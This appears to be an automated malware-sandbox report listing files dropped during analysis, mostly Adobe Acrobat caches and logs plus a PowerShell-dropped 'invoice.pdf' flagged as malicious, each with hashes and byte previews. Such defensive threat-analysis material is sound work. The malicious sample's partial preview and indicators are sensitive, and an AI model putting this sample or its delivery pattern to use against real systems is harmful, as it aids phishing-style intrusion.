Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5527769228829302
Encrypted:	false
SSDEEP:	24:7+t6uFIUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxaWqLxx/J:7M60Xc+XcGNFlRYIX2v1WqVl2GL7msv
MD5:	1660FEE58963574B4C6BE62D67980029
SHA1:	97FD66A1F422487825360BC890673A0EF9FF46FE
SHA-256:	4B061C6412CE2737451899F38BA011A241B0AE537F7E5276BADE1166A9300878
SHA-512:	FB82155596022CB5A507B4E31B3336F0542BE256702C2DB05251301BDDB2816969F82883DD02F727CC80E1AA9F383EB407E396DBAF6835DFA92C2E52862F85BC
Malicious:	false
Preview:	.... .c.......v..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgoj/fLuasxuSKrhxSdS+G9z69Yyu:6a6TZ44ADEojpsxufhuGZKK
MD5:	0220CE845F8F33287AA6FAE16EB8165C
SHA1:	941AA46130AE5A274257D793853B2230DFF731D4
SHA-256:	DDC975222C2D5014CDB53A8759AFCE3B4AAAAA8FB558E2E3CD3FA332E63DF574
SHA-512:	643260DF9483240AD331A5CD6B1921516E395D0128B2C7336DE738CAE7C6D29506EA591819C3DDFCE3257E04C2C16115C49B04C8A4762B14171E7BE3E6EA2543
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI64bac.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls09:Qw946cPbiOxDlbYnuRK+b4
MD5:	D8713A92FC122C5EEF96A0A50A994B54
SHA1:	E8ECCA4F28A704C474F767497D22FF02484BC323
SHA-256:	98CCC2C81BADBEC926281613AE2B22980046B47CB38B03D640B04753925C6D65
SHA-512:	83BF11C91611F85871729962BE0B71D34552C0BD4CA752AC915C7403B5D8E17B97E79C56749B310597C3563B3817C241DE633AF53FA81595307FC595AD8889C9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.4.2.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jowqzn4.53n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nugn4gu.any.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A917rpmv0_1qxzwib_5dk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9cme7dt_1qxzwi6_5dk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-42-22-066.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354795507048101
Encrypted:	false
SSDEEP:	384:EZFE95r+3HUklPbXH9dAvBAttGJWAG2Ytys9DbdYCEiRuMMcyj6SqvqvimQnov3b:2dW
MD5:	65A70A34BFC53C2780F67439F10D12CA
SHA1:	0AF5A7E39F0D71B4774F52EFD0F72A98999BCAD7
SHA-256:	C1ADC718EA5F910E661E8A64F91530607C972D25649493AB040373CCD08CD80E
SHA-512:	04FE51E119D4B3AC77E7A52B61F1CDAAF5107D026464C3D909A0A6D7CF9E76D5B32CD364D137A5C825C8E699C84AB38CF75645CBB210BDD25DC33B9EF0904714
Malicious:	false
Preview:	SessionID=7327e344-8532-4d4d-87fa-291761c82bfd.1736563342076 Timestamp=2025-01-10T21:42:22:076-0500 ThreadID=7664 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7327e344-8532-4d4d-87fa-291761c82bfd.1736563342076 Timestamp=2025-01-10T21:42:22:077-0500 ThreadID=7664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7327e344-8532-4d4d-87fa-291761c82bfd.1736563342076 Timestamp=2025-01-10T21:42:22:077-0500 ThreadID=7664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7327e344-8532-4d4d-87fa-291761c82bfd.1736563342076 Timestamp=2025-01-10T21:42:22:077-0500 ThreadID=7664 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7327e344-8532-4d4d-87fa-291761c82bfd.1736563342076 Timestamp=2025-01-10T21:42:22:077-0500 ThreadID=7664 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397033229303226
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbA0cbDx4IrIM0ceyS/uVZcbsVqJ:V3fOCIdJDeKt81
MD5:	0CE42CE246FA83D40E38E191482F3721
SHA1:	628291E68D8F21F564E2FAAAA6DD3CDBA3FC6F9F
SHA-256:	B36B132C55EBE196068937C0011F818778CDFD6A48161840F89617A1571B2B1D
SHA-512:	A43638B01193AD7952795DF25FAC168F4B62BEE3E876B7E09728471C2651E0B9B2C40A5780F242AB4AD092D52D53128D063D973E5E69B1515F72C23146A2307A
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\16376184-2228-44fa-9650-0377c75dc5a9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\33d33c26-06b6-4549-86b9-3c6b8416fe1c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3ac86be9-a242-473e-b21d-d15ae0788c7f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a096d30c-70b1-4da6-90b5-70ca06df0ba6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
